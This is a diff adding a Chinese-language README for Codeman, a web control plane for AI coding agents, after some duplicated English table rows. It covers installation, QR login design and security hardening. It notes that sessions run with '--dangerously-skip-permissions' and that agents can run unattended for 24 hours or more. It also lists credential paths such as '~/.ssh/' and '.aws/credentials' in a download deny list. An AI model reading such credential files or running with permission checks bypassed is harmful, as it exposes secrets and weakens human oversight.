| **Domain splitting** | `types.ts` → 14 domain files, `ralph-tracker` → 7 files, `respawn-controller` → 5 files, `session` → 6 files | No more god files |
| **Frontend modules** | `app.js` → 9 extracted modules (constants, mobile, voice, notifications, keyboard, CJK input, API, Ralph wizard, subagent windows) | **−24%** app.js LOC (15.2K → 11.5K) |
| **Config consolidation** | ~70 scattered magic numbers → 9 domain-focused config files | Zero cross-file duplicates |
| **Route extraction** | `server.ts` split into 15 domain route modules + auth middleware + port interfaces | **−67%** server.ts LOC (6,736 → 2,254) |
| **Domain splitting** | `types.ts` → 16 domain files, `ralph-tracker` → 7 files, `respawn-controller` → 5 files, `session` → 6 files | No more god files |
| **Frontend modules** | `app.js` → 18 extracted modules across infra, domain & feature layers | app.js core down to **~3.4K LOC** |
| **Config consolidation** | ~70 scattered magic numbers → 10 domain-focused config files | Zero cross-file duplicates |
| **Test infrastructure** | Shared mock library, 12 route test files, consolidated MockSession | Testable route handlers via `app.inject()` |
Full details: [`docs/code-structure-findings.md`](docs/code-structure-findings.md)
Full details: [`docs/archive/code-structure-findings.md`](docs/archive/code-structure-findings.md)
---
+664
View File
@@ -0,0 +1,664 @@
<p align="center">
<img src="docs/images/codeman-title.svg" alt="Codeman" height="60">
</p>
<h2 align="center">为 AI 编程智能体而生的「控制平面」</h2>
<p align="center">
<em>智能体可视化 &bull; 零延迟输入 &bull; 自主编排器 &bull; 重生控制器 &bull; 移动优先 UI &bull; 安全加固</em>
</p>
<p align="center">
<a href="README.md">English</a> &bull; <strong>简体中文</strong>
</p>
<p align="center">
<a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-1e3a5f?style=flat-square" alt="License: MIT"></a>
<a href="https://nodejs.org/"><img src="https://img.shields.io/badge/Node.js-18%2B-22c55e?style=flat-square&logo=node.js&logoColor=white" alt="Node.js 18+"></a>
<a href="https://www.typescriptlang.org/"><img src="https://img.shields.io/badge/TypeScript-5.9-3b82f6?style=flat-square&logo=typescript&logoColor=white" alt="TypeScript 5.9"></a>
<a href="https://fastify.dev/"><img src="https://img.shields.io/badge/Fastify-5.x-1e3a5f?style=flat-square&logo=fastify&logoColor=white" alt="Fastify"></a>
<img src="https://img.shields.io/badge/Tests-2861%20total-22c55e?style=flat-square" alt="Tests">
</p>
<p align="center">
<img src="docs/images/subagent-demo.gif" alt="Codeman — 并行子智能体可视化" width="900">
</p>
> 本文档由英文版 [`README.md`](README.md) 翻译而来。如有出入,以英文版为准。
---
## 快速开始 — 安装
```bash
curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash
```
该脚本会在缺失时自动安装 Node.js 和 tmux,把 Codeman 克隆到 `~/.codeman/app` 并完成构建。
你至少需要安装一个 AI 编程 CLI —— [Claude Code](https://docs.anthropic.com/en/docs/claude-code) 或 [OpenCode](https://opencode.ai)(两个都装也可以)。安装完成后:
```bash
codeman web
# 打开 http://localhost:3000,开启你的第一个会话
```
<details>
<summary><strong>作为后台服务运行</strong></summary>
**Linux(systemd):**
```bash
mkdir -p ~/.config/systemd/user
cat > ~/.config/systemd/user/codeman-web.service << EOF
[Unit]
Description=Codeman Web Server
After=network.target
[Service]
Type=simple
ExecStart=$(which node) $HOME/.codeman/app/dist/index.js web
Restart=always
RestartSec=10
[Install]
WantedBy=default.target
EOF
systemctl --user daemon-reload
systemctl --user enable --now codeman-web
loginctl enable-linger $USER
```
**macOS(launchd):**
```bash
mkdir -p ~/Library/LaunchAgents
cat > ~/Library/LaunchAgents/com.codeman.web.plist << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.codeman.web</string>
<key>ProgramArguments</key>
<array>
<string>$(which node)</string>
<string>$HOME/.codeman/app/dist/index.js</string>
<string>web</string>
</array>
<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
<key>StandardOutPath</key>
<string>/tmp/codeman.log</string>
<key>StandardErrorPath</key>
<string>/tmp/codeman.log</string>
</dict>
</plist>
EOF
launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.codeman.web.plist
```
</details>
<details>
<summary><strong>Windows(WSL)</strong></summary>
```powershell
wsl bash -c "curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash"
```
Codeman 依赖 tmux,因此 Windows 用户需要 [WSL](https://learn.microsoft.com/en-us/windows/wsl/install)。如果还没装 WSL:在管理员 PowerShell 中运行 `wsl --install`,重启,打开 Ubuntu,然后在 WSL 内安装你偏好的 AI 编程 CLI([Claude Code](https://docs.anthropic.com/en/docs/claude-code) 或 [OpenCode](https://opencode.ai))。安装完成后,即可从 Windows 浏览器访问 `http://localhost:3000`。
</details>
---
## 移动端优化的 Web UI
在任意手机上都能获得最跟手的 AI 编程智能体体验。完整的 xterm.js 终端、本地回显、滑动导航,以及为真正的远程办公而设计的触控优化界面 —— 而不是把桌面 UI 硬塞进小屏幕。
<table>
<tr>
<td align="center" width="33%"><img src="docs/screenshots/mobile-landing-qr.png" alt="移动端 — 带二维码认证的登录页" width="260"></td>
<td align="center" width="33%"><img src="docs/screenshots/mobile-session-idle.png" alt="移动端 — 带键盘配件栏的空闲会话" width="260"></td>
<td align="center" width="33%"><img src="docs/screenshots/mobile-session-active.png" alt="移动端 — 活动中的智能体会话" width="260"></td>
</tr>
<tr>
<td align="center"><em>带二维码认证的登录页</em></td>
<td align="center"><em>键盘配件栏</em></td>
<td align="center"><em>智能体实时工作中</em></td>
</tr>
</table>
<table>
<tr>
<th>普通终端 App</th>
<th>Codeman 移动端</th>
</tr>
<tr><td>远程输入延迟 200–300 毫秒</td><td><b>本地回显 —— 即时反馈</b></td></tr>
<tr><td>字小、无上下文</td><td>完整 xterm.js 终端</td></tr>
<tr><td>无会话管理</td><td>滑动切换会话</td></tr>
<tr><td>无通知</td><td>审批 / 空闲时推送提醒</td></tr>
<tr><td>需手动重连</td><td>tmux 持久化</td></tr>
<tr><td>看不到智能体</td><td>实时查看后台智能体</td></tr>
<tr><td>斜杠命令靠复制粘贴</td><td>一键 <code>/init</code>、<code>/clear</code>、<code>/compact</code></td></tr>
<tr><td>在手机上手打密码</td><td><b>扫二维码 —— 即时认证</b></td></tr>
</table>
### 安全的二维码认证
在手机键盘上输密码太痛苦了。Codeman 用**密码学安全的一次性二维码令牌**取而代之 —— 扫描桌面上显示的二维码,手机即刻完成认证。
每个二维码编码的是一个包含 6 字符短码的 URL,该短码在服务端映射到一个 256 位密钥(`crypto.randomBytes(32)`)。令牌每 **60 秒**自动轮换,**首次扫描即原子性消费**(重放永远失败),并采用**基于哈希的 `Map.get()` 查找**,不会通过响应时延泄露任何信息。短码只是一个不透明指针 —— 真正的密钥永远不会出现在浏览器历史、`Referer` 头或 Cloudflare 边缘日志中。
该安全设计覆盖了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)(USENIX Security 2025,该研究发现 Top-100 网站中有 47 个存在漏洞)所指出的全部 6 个关键二维码认证缺陷:强制一次性使用、短 TTL、密码学随机性、服务端生成、扫描时桌面实时通知(QRLjacking 检测),以及 IP + User-Agent 会话绑定与手动吊销。双层速率限制(按 IP + 全局)使得在 62^6 = 568 亿种可能短码空间内进行暴力破解变得不可行。完整安全分析见:[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)
### 触控优化界面
- **键盘配件栏** —— 在虚拟键盘上方提供 `/init`、`/clear`、`/compact` 快捷按钮。破坏性命令(`/clear`、`/compact`)需双击确认 —— 第一次点击「上膛」,第二次点击执行 —— 这样在颠簸的通勤路上也不会误触
- **滑动导航** —— 在终端上左右滑动切换会话(阈值 80px,300ms)
- **智能键盘处理** —— 键盘弹出时工具栏与终端整体上移(使用 `visualViewport` API,并对 iOS 地址栏漂移设置 100px 阈值)
- **安全区适配** —— 通过 `env(safe-area-inset-*)` 适配 iPhone 刘海与底部 Home 指示条
- **44px 触控目标** —— 所有按钮均满足 iOS 人机界面指南的最小尺寸
- **底部抽屉式 case 选择器** —— 用上滑模态框替代桌面端下拉菜单
- **原生惯性滚动** —— `-webkit-overflow-scrolling: touch`,丝滑流畅
```bash
codeman web --https
# 在手机上打开:https://<你的IP>:3000
```
> `localhost` 走纯 HTTP 即可。从其他设备访问时请使用 `--https`,或使用 [Tailscale](https://tailscale.com/)(推荐)—— 它提供私有网络,让你无需 TLS 证书即可从手机访问 `http://<tailscale-ip>:3000`。
---
## 实时智能体可视化
实时观看后台智能体工作。Codeman 监控智能体活动,将每个智能体显示在一个可拖拽的浮动窗口中,并用「黑客帝国」风格的动态连接线连回父会话。
<p align="center">
<img src="docs/images/subagent-spawn.png" alt="子智能体可视化" width="900">
</p>
- **浮动终端窗口** —— 每个智能体一个可拖拽、可调整大小的面板,带实时活动日志,逐条展示每一次工具调用、文件读取与进度更新
- **连接线** —— 用动态绿色线条连接父会话与其子智能体,随智能体的产生与完成实时更新
- **状态与模型徽标** —— 绿色(活动)、黄色(空闲)、蓝色(已完成)指示,并以 Haiku/Sonnet/Opus 的颜色编码区分模型
- **自动行为** —— 窗口在产生时自动打开、完成时自动最小化,标签徽标显示「AGENT」或「AGENTS (n)」计数
- **嵌套智能体** —— 支持 3 层层级(主会话 → 团队成员智能体 → 子-子智能体)
**智能体团队(Agent Teams)** —— 一等公民式支持 Claude Code 原生的多智能体团队(`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`)。`TeamWatcher` 轮询 `~/.claude/teams/`,将团队成员匹配到其主会话,并以实时子智能体窗口呈现,且具备**团队感知的空闲检测** —— 因此当团队成员仍在工作时,重生控制器不会被触发。详见 [`docs/agent-teams/`](docs/agent-teams/)。
---
## 零延迟输入叠加层
<p align="center">
<img src="docs/images/zerolag-demo.gif" alt="Zerolag 演示 —— 本地回显与服务端回显并排对比" width="900">
</p>
远程访问你的编程智能体时(VPN、Tailscale、SSH 隧道),每次按键通常需要 200–300 毫秒往返。Codeman 实现了一套**受 Mosh 启发的本地回显系统**,无论延迟多高,打字都感觉即时。
xterm.js 内部一个像素级精准的 DOM 叠加层以 0ms 渲染按键。后台转发会以 50ms 防抖批次静默地把每个字符送往 PTY,因此 Tab 补全、`Ctrl+R` 历史搜索以及所有 shell 特性都正常工作。当服务端回显在 200–300ms 后到达时,叠加层无缝消失、真实终端文本接管 —— 整个切换过程不可见。
- **抗 Ink 架构** —— 它作为 `.xterm-screen` 内 z-index 7 的一个 `<span>` 存在,完全不受 Ink 持续重绘屏幕的影响(此前两次使用 `terminal.write()` 的尝试都失败了,因为 Ink 会破坏注入的缓冲区内容)
- **字体匹配渲染** —— 从 xterm.js 的计算样式读取 `fontFamily`、`fontSize`、`fontWeight` 与 `letterSpacing`,使叠加层文本与真实终端输出在视觉上无法区分
- **完整编辑** —— 退格、重打、粘贴(多字符)、光标跟踪,输入超过终端宽度时多行换行
- **重连后持久** —— 未发送的输入通过 localStorage 在页面刷新后保留
- **默认启用** —— 桌面端与移动端均可用,会话空闲或繁忙时都生效
> 已抽取为独立库:[`xterm-zerolag-input`](https://www.npmjs.com/package/xterm-zerolag-input) —— 见[已发布的包](#已发布的包)。
---
## 重生控制器(Respawn Controller)
自主工作的核心。当智能体进入空闲,重生控制器会检测到,发送继续提示,循环执行上下文管理命令以获得全新上下文,然后恢复工作 —— 可完全无人值守运行 **24 小时以上**。
```
WATCHING → IDLE DETECTED → SEND UPDATE → /clear → /init → CONTINUE → WATCHING
```
- **多层空闲检测** —— 完成消息、AI 驱动的空闲检查、输出静默、token 稳定性
- **熔断器** —— 当 Claude 卡住时防止重生抖动(CLOSED → HALF_OPEN → OPEN 状态,跟踪连续无进展与重复错误)
- **健康评分** —— 0–100 健康分,分项涵盖循环成功率、熔断器状态、迭代进展与卡死恢复
- **内置预设** —— `solo-work`(3s 空闲,60min)、`subagent-workflow`(45s,240min)、`team-lead`(90s,480min)、`ralph-todo`(8s,480min)、`overnight-autonomous`(10s,480min)
---
## 编排器循环(Orchestrator Loop)
超越单会话重生,**编排器**把一个高层目标转化为分阶段计划,并跨多个智能体推动其完成 —— 这是一个运行 `idle → planning → approval → executing → verifying → (replanning) → completed` 的状态机。
- **先规划,后执行** —— 从你的目标生成分阶段计划,并在动手前暂停等待审批;可带反馈拒绝以重新生成
- **逐阶段验证关卡** —— 每个阶段在下一阶段开始前都会被验证;失败时编排器会重新规划而非一头扎下去
- **多智能体执行** —— 将各阶段分发给团队智能体 / 任务队列,协调超出单会话能力的工作
- **崩溃安全** —— 完整状态持久化在 `state.json` 的 `orchestrator` 键下,可在重启后存续
- **可从 UI 或 API 驱动** —— 编排器面板,或 `POST /api/orchestrator/start` → `/approve` → `/status`(共 10 个端点)
> 与 Ralph(单会话自主循环)不同:编排器协调多阶段、多智能体执行。完整设计:[`docs/orchestrator-loop-architecture.md`](docs/orchestrator-loop-architecture.md)。
---
## 多会话仪表盘
运行 **20 个并行会话**且全程可见 —— 60fps 的实时 xterm.js 终端、按会话的 token 与成本跟踪、基于标签的导航,以及一键管理。
<p align="center">
<img src="docs/screenshots/multi-session-dashboard.png" alt="多会话仪表盘" width="800">
</p>
### 持久化会话
每个会话都运行在 **tmux** 内 —— 会话可在服务器重启、网络中断与机器休眠后存续。启动时自动恢复,具备双重冗余。幽灵会话发现机制能找到孤立的 tmux 会话。受管会话带有环境标签,因此智能体不会杀掉自己的会话。
### 主机名感知的窗口标题
在多台主机上运行 Codeman(笔记本、开发机、NAS)?浏览器标签标题是 `codeman:<主机名>`,让你无需点进去就能分辨每个标签对应哪个后端:
```bash
codeman web # codeman:<os.hostname()>
codeman web --title-hostname dev-box # codeman:dev-box(用于覆盖嘈杂的主机名)
```
标题在首字节时就被模板化进所提供的 HTML 中,因此从第一帧绘制起就是正确的,且无需 JavaScript 也能工作。同样的主机名前缀也应用于标签闪烁格式(`⚠️ (N) codeman:<host>`)和操作系统级桌面通知(`codeman:<host>: <事件>`),让系统通知中心里的跨主机提醒也不再含糊。
### 智能 Token 管理
| 阈值 | 动作 | 结果 |
|-----------|--------|--------|
| **110k tokens** | 自动 `/compact` | 上下文被摘要,工作继续 |
| **140k tokens** | 自动 `/clear` | 以 `/init` 全新开始 |
### 通知
当会话需要关注时实时桌面提醒 —— `permission_prompt` 与 `elicitation_dialog` 触发关键的红色标签闪烁,`idle_prompt` 触发黄色闪烁。点击任意通知即可直接跳转到相关会话。Hook 按 case 目录自动配置。
### Ralph / Todo 跟踪
自动检测 Ralph 循环、`<promise>` 标签、TodoWrite 进度(`4/9 complete`)以及迭代计数器(`[5/50]`),并提供实时进度环与已用时间跟踪。
<p align="center">
<img src="docs/images/ralph-tracker-8tasks-44percent.png" alt="Ralph 循环跟踪" width="800">
</p>
### 运行摘要(Run Summary)
点击任意会话标签上的图表图标,即可看到所发生一切的时间线 —— 重生周期、token 里程碑、自动 compact 触发、空闲/工作切换、hook 事件、错误等等。
### 零闪烁终端
基于终端的 AI 智能体(Claude Code 的 Ink、OpenCode 的 Bubble Tea)会在每次状态变更时重绘屏幕。Codeman 实现了一套 6 层抗闪烁流水线,让所有会话都获得平滑的 60fps 输出:
```
PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端 rAF → xterm.js(60fps)
```
---
## 更多特性
- **自更新** —— systemd/launchd 管理下的 git-clone 安装可在 **App Settings → Updates** 中原地更新:它会检测最新发行版,自动暂存(stash)脏工作树,并在服务重启期间流式展示构建进度(npm 安装会被报告为不可更新)
- **双 CLI** —— 每个会话可选 **Claude Code** 或 **OpenCode**;环境变量前缀自动隔离(`CLAUDE_CODE_*` 与 `OPENCODE_*`)。详见 [`docs/opencode-integration.md`](docs/opencode-integration.md)
- **Effort 与 Ultracode** —— 设置每会话的默认 effort(`low`–`max`),或启用 **ultracode**(动态多智能体工作流)。这些都只是软默认值 —— 会话中可随时用 `/effort` 切换。扩展思考预算也可配置
- **语音输入** —— 用 Deepgram Nova-3 口述提示(带 Web Speech API 回退):切换录音、自动静音停止、实时音量表(`Ctrl+Shift+V`)
- **图像输入** —— 直接把图片粘贴或拖放进会话
- **手势控制** *(可选)* —— 一个 MediaPipe 手部追踪叠加层,可徒手抓取/拖动会话窗口并捏合按钮。用 `CODEMAN_GESTURE=1` + App Settings → Display 启用
- **多显示器横跨** *(macOS)* —— 一键打开一个横跨所有显示器最大化的浏览器窗口,让浮动的智能体/手势面板可以跨越物理拼接缝
- **CJK / 输入法支持** —— 完整支持中文 / 日文 / 韩文的组合输入
- **操作系统通知与主机名感知标题** —— 桌面提醒与标签标题以 `codeman:<host>` 为前缀,使多主机配置不再含糊
---
## 远程访问 —— Cloudflare 隧道
使用免费的 [Cloudflare 快速隧道](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/),从手机或本地网络外的任意设备访问 Codeman —— 无需端口转发、无需 DNS、无需静态 IP。
```
浏览器(手机/平板)→ Cloudflare 边缘(HTTPS)→ cloudflared → localhost:3000
```
**前置条件:** 安装 [`cloudflared`](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/) 并在环境中设置 `CODEMAN_PASSWORD`。
```bash
# 快速开始
./scripts/tunnel.sh start # 启动隧道,打印公网 URL
./scripts/tunnel.sh url # 显示当前 URL
./scripts/tunnel.sh stop # 停止隧道
./scripts/tunnel.sh status # 服务状态 + URL
```
脚本会在首次运行时自动安装一个 systemd 用户服务。隧道 URL 是一个随机生成的 `*.trycloudflare.com` 地址,每次隧道重启都会改变。
<details>
<summary><strong>持久隧道(重启后存续)</strong></summary>
```bash
# 启用为持久服务
systemctl --user enable codeman-tunnel
loginctl enable-linger $USER
# 或通过 Codeman Web UI:Settings → Tunnel → 切换为开
```
</details>
<details>
<summary><strong>认证</strong></summary>
1. 首次请求 → 浏览器弹出 Basic Auth 提示(用户名:`admin` 或 `CODEMAN_USERNAME`)
2. 成功后 → 服务端签发 `codeman_session` cookie(24 小时 TTL,活动时自动延长)
3. 后续请求通过 cookie 静默认证
4. 同一 IP 失败 10 次 → 429 速率限制(15 分钟衰减)
通过隧道暴露前**务必设置 `CODEMAN_PASSWORD`** —— 否则任何拿到 URL 的人都能完全访问你的会话。
</details>
### 二维码认证
在手机键盘上输密码很糟糕。Codeman 用**短暂的一次性二维码令牌**解决这个问题 —— 扫描桌面上的二维码,手机即刻完成认证。无密码提示、无打字、无剪贴板。
```
桌面显示二维码 → 手机扫描 → GET /q/Xk9mQ3 → 服务端校验
→ 令牌原子性消费(一次性) → 签发会话 cookie → 302 跳转到 /
→ 桌面收到通知:「设备已通过二维码认证」 → 自动生成新二维码
```
只拿到裸隧道 URL(没有二维码)的人,仍会撞上标准密码提示。二维码是快速通道;密码是回退方案。
#### 工作原理
服务端维护一个轮换的、短生命周期、一次性令牌池。每个令牌由一个 256 位密钥(`crypto.randomBytes(32)`)和一个用作 URL 路径中不透明查找键的 6 字符 base62 短码配对组成。二维码编码的 URL 形如 `https://abc-xyz.trycloudflare.com/q/Xk9mQ3` —— 短码是指针,而非密钥本身,因此它绝不会通过浏览器历史、`Referer` 头或 Cloudflare 边缘日志泄露。
每 **60 秒**,服务端自动轮换到一个全新令牌。上一个令牌会保留 **90 秒的宽限期**,以处理你刚好在轮换瞬间扫描的竞争情况 —— 此后即作废。每个令牌都是**一次性**的:手机一旦成功扫描,令牌就被原子性消费,并立即为桌面显示生成一个新的。
#### 安全设计
该设计参考了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)(USENIX Security 2025),该研究发现 Top-100 网站中有 47 个因横跨 42 个 CVE 的 6 个关键设计缺陷而易受二维码认证攻击。Codeman 全部六个都做了应对:
| USENIX 缺陷 | 缓解措施 |
|-------------|------------|
| **缺陷 1**:缺少一次性强制 | 令牌首次扫描即原子性消费 —— 重放永远失败 |
| **缺陷 2**:长生命周期令牌 | 60s TTL + 90s 宽限,由定时器自动轮换 |
| **缺陷 3**:可预测的令牌生成 | `crypto.randomBytes(32)` —— 256 位熵。短码采用拒绝采样以消除取模偏差 |
| **缺陷 4**:客户端令牌生成 | 仅服务端 —— 令牌在嵌入二维码前绝不离开服务器 |
| **缺陷 5**:缺少状态通知 | 桌面提示:*「设备 [IP] 已通过二维码认证(Safari)。不是你?[吊销]」* —— 实时 QRLjacking 检测 |
| **缺陷 6**:会话绑定不足 | 存储 IP + User-Agent 以供审计。通过 API 手动吊销会话。HttpOnly + Secure + SameSite=lax cookie |
#### 时序安全的查找
短码存储在 `Map<shortCode, TokenRecord>` 中。校验使用 `Map.get()` —— 一个基于哈希的 O(1) 查找,不会通过响应时延泄露目标字符串的任何信息。热路径上任何地方都没有逐字符字符串比较,彻底消除了时序侧信道攻击。
#### 速率限制(双层)
二维码认证有自己的速率限制,与密码认证完全独立:
- **按 IP**:同一 IP 失败 10 次二维码尝试即触发 429 封锁(15 分钟衰减窗口)—— 与 Basic Auth 的失败计数器分开,因此打错密码不会消耗你的二维码额度
- **全局**:所有 IP 合计每分钟 30 次二维码尝试 —— 抵御分布式暴力破解。考虑到 62^6 = 568 亿种可能短码、任意时刻仅约 2 个有效,无论如何暴力破解都在计算上不可行
#### 二维码尺寸优化
URL 被刻意保持精简(`/q/` 路径 + 6 字符码 ≈ 53–56 个字符),以瞄准 **QR 版本 4**(33×33 模块)而非版本 5(37×37)。更小的二维码在低端手机上扫描更快 —— 现代设备读取版本 4 仅需 100–300 毫秒。`/q/` 前缀相比 `/qr-auth/` 省下 7 个字节,仅此一项就足以决定二维码版本的差别。
#### 桌面体验
二维码显示每 60 秒通过 SSE 自动刷新,SVG 直接嵌入事件载荷(约 2–5KB)—— 无需额外 HTTP 请求,刷新低于 50ms。倒计时器显示剩余时间。「重新生成」按钮可即时使所有现有令牌失效并创建一个新的(在你怀疑二维码被拍照时很有用)。
当有人通过二维码认证时,桌面会弹出一个带设备 IP 与浏览器信息的通知 —— 如果不是你,一键即可吊销所有会话。
#### 威胁覆盖
| 威胁 | 为何无效 |
|--------|-------------------|
| **二维码截图被分享** | 一次性:首次扫描即消费。60s TTL:攻击者动手前已过期。桌面通知会立即提醒你。 |
| **重放攻击** | 原子性一次性消费 + 60s TTL。旧 URL 始终返回 401。 |
| **Cloudflare 边缘日志** | 短码是不透明的 6 字符查找键,而非真正的 256 位令牌。一次性意味着从日志重放永远失败。 |
| **暴力破解** | 568 亿种组合、任意时刻约 2 个有效、双层速率限制,早在统计可行性之前就已拦截。 |
| **QRLjacking** | 60s 轮换迫使实时转发。桌面提示提供即时检测。自托管单用户场景使钓鱼难以成立。 |
| **时序攻击** | 基于哈希的 Map 查找 —— 无字符串比较时序泄露。 |
| **会话 cookie 窃取** | HttpOnly + Secure + SameSite=lax + 24h TTL。可在 `POST /api/auth/revoke` 手动吊销。 |
#### 横向对比
| 平台 | 模型 | 对比 |
|----------|-------|------------|
| **Discord** | 长生命周期令牌、无确认、[屡被利用](https://owasp.org/www-community/attacks/Qrljacking) | Codeman:一次性 + TTL + 通知 |
| **WhatsApp Web** | 手机确认「关联设备?」,约 60s 轮换 | 轮换相当;WhatsApp 额外加了显式确认(对单用户而言是可接受的取舍) |
| **Signal** | 临时公钥、端到端加密信道 | 加密更强,但 [2025 年仍被俄罗斯国家级行为者](https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger)通过社会工程攻破 |
> 完整设计理由、安全分析与实现细节:[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)
---
## 安全
Codeman 用 `--dangerously-skip-permissions` 启动会话,因此 Web UI 在设计上对任何能访问到它的人都是一个远程代码执行面 —— 整套安全模型的存在就是为了控制*谁*能访问。近期加固(v0.9.0 + v0.9.5)封堵了那些常困扰自托管开发工具的浏览器驱动攻击路径。完整模型:[`docs/security-architecture.md`](docs/security-architecture.md)。
### 网络与访问
- **默认仅环回** —— 绑定 `127.0.0.1`,仅可从本机访问,因此「无密码」默认配置开箱即安全。在未设置 `CODEMAN_PASSWORD` 的情况下绑定非环回主机会*启动但打印一条醒目警告*,并给出三个具体修复方案(设置密码、环回 + 一个带认证的隧道,或用 `--allow-unauthenticated-network` 显式确认)
- **可选认证,真实会话** —— 通过 `CODEMAN_USERNAME`(默认 `admin`)/ `CODEMAN_PASSWORD` 的 HTTP Basic 认证。成功后签发一个不透明的 256 位 `codeman_session` cookie(`randomBytes(32)`)—— 服务端校验,而非客户端签名,因此无法离线伪造(24h TTL、自动延长、设备上下文审计日志)
- **按 IP 速率限制** —— 失败 10 次 → `429` 并带 `Retry-After`(15 分钟衰减)。即便攻击者在同一 IP 上猛攻,有效 cookie 或正确密码也能*立即*恢复 —— 这很重要,因为所有隧道流量共享同一个环回 IP。二维码认证有自己独立的限制器
### 始终开启的浏览器加固(v0.9.5)
以下对**每个**请求都生效 —— 在认证之前,即便是默认的无密码环回安装:
- **Host 头允许列表 → 阻断 DNS 重绑定。** 一个被重绑定到 `127.0.0.1` 的自定义域名会在任何处理器运行前被 `403 host not allowed` 拒绝。允许:`localhost`、任意 IP 字面量、绑定主机、`.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`、当前受管隧道,以及 `CODEMAN_ALLOWED_HOSTS`(在此添加自定义反向代理域名 —— 逗号分隔;精确主机或前导点 `.suffix` 匹配子域名)
- **跨站 Origin / CSRF 防护。** 对变更状态的方法(`POST`/`PUT`/`PATCH`/`DELETE`),`Origin` 必须通过同一允许列表,否则返回 `403 cross-site request blocked`。*缺失*的 Origin 被允许(因此 `curl`、CLI 与 Claude Code hook 仍可工作);只有存在但外来、或不透明的 `null` origin 才会被拒绝
- **原始 `text/plain` 请求体。** 全局解析器不再对 `text/plain` 做 JSON 解析,封堵了那个跨站 `fetch` 能在无预检的情况下把 JSON 走私进写路由的 CORS「简单请求」CSRF 向量
- **WebSocket Origin 校验。** 终端 WS 升级运行同样的 Host + Origin 检查,失败时以代码 `4003` 关闭(反 CSWSH)
- **XSS 转义的智能体输出。** AI 衍生的字符串(工具名、命令参数、子智能体描述)在渲染进子智能体 / 活动面板前,于每个注入点都做 HTML 转义
### 输入、文件与响应头
- **模式校验的输入** —— 每个 API 请求体都用 Zod v4 模式检查;一个 `CLAUDE_CODE_*` / `OPENCODE_*` 环境变量前缀允许列表把控每个 CLI 能接收哪些设置
- **路径限定** —— 文件路由在边界检查前先 `realpath`(无 TOCTOU);`..`、绝对路径、以及解析到工作目录之外的符号链接都会被拒绝。上限:10 MB 文本预览 / 50 MB 原始与下载;`/api/download` 对敏感路径(`.env`、`*credentials*`、`~/.ssh/`、`.aws/credentials`)做黑名单。SVG/HTML 以 `octet-stream` + `nosniff` + attachment 提供,因此会被下载而非执行
- **安全响应头** —— `Content-Security-Policy`(`default-src 'self'`,每个例外都逐条列举)、`X-Content-Type-Options: nosniff`、`X-Frame-Options: SAMEORIGIN`、HTTPS 下的 HSTS,以及**仅**对 `localhost` / `127.0.0.1` / `::1` 反射的 CORS
### 供应链与隔离
- **锁定并校验的依赖** —— 安全敏感的传递依赖通过 npm `overrides` 强制为已打补丁版本;每次提交/PR 都检查锁文件完整性(所有条目都解析到 `registry.npmjs.org` 且带 `sha512` 哈希)。公共资源在 CI 中做 NUL 字节扫描与 `node --check` 校验
- **多实例隔离** —— `CODEMAN_INSTANCE` 同时限定 tmux 套接字(`-L codeman-<name>`)与数据目录(`~/.codeman-<name>`),因此两个实例绝不会互相附着对方的活动会话
> 移动端登录使用一次性、60 秒二维码令牌 —— 完整设计见上文[二维码认证](#二维码认证)(它应对了 USENIX Security 2025 二维码登录研究中的全部 6 个缺陷)。
---
## SSH 替代方案(`sc`)
如果你更喜欢 SSH(Termius、Blink 等),`sc` 命令是一个便于拇指操作的会话选择器:
```bash
sc # 交互式选择器
sc 2 # 快速附着到会话 2
sc -l # 列出会话
```
单数字选择(1–9)、颜色编码的状态、token 计数、自动刷新。用 `Ctrl+A D` 分离。
---
## 键盘快捷键
> Ctrl 绑定在 macOS 上也接受 Cmd。
| 快捷键 | 动作 |
|----------|--------|
| `Ctrl/Cmd+W` | 杀掉当前会话 |
| `Ctrl/Cmd+Tab` | 下一个会话 |
| `Alt+1`–`Alt+9` | 切换到第 N 个标签 |
| `Ctrl+Shift+{` / `Ctrl+Shift+}` | 将当前标签左移 / 右移 |
| `Ctrl/Cmd+L` | 清屏 |
| `Ctrl+Shift+R` | 恢复终端尺寸 |
| `Ctrl+Shift+V` | 切换语音输入 |
| `Ctrl/Cmd +` / `-` | 字体大小 |
| `Ctrl/Cmd+?` | 键盘帮助 |
| `Shift+Enter` | 插入换行(发送到终端) |
| `Escape` | 关闭面板与模态框 |
---
## API
基于 Fastify 的 REST —— **15 个路由模块中约 140 个处理器**,外加一条 SSE 流和一条 WebSocket 终端通道。以下是一个有代表性的子集:
### 会话(Sessions)
| 方法 | 端点 | 说明 |
|--------|----------|-------------|
| `GET` | `/api/sessions` | 列出全部 |
| `POST` | `/api/quick-start` | 创建 case 并启动会话 |
| `DELETE` | `/api/sessions/:id` | 删除会话 |
| `POST` | `/api/sessions/:id/input` | 发送输入 |
### 重生(Respawn)
| 方法 | 端点 | 说明 |
|--------|----------|-------------|
| `POST` | `/api/sessions/:id/respawn/enable` | 启用,带配置与定时器 |
| `POST` | `/api/sessions/:id/respawn/stop` | 停止控制器 |
| `PUT` | `/api/sessions/:id/respawn/config` | 更新配置 |
### Ralph / Todo
| 方法 | 端点 | 说明 |
|--------|----------|-------------|
| `GET` | `/api/sessions/:id/ralph-state` | 获取循环状态 + todos |
| `POST` | `/api/sessions/:id/ralph-config` | 配置跟踪 |
### 编排器(Orchestrator)
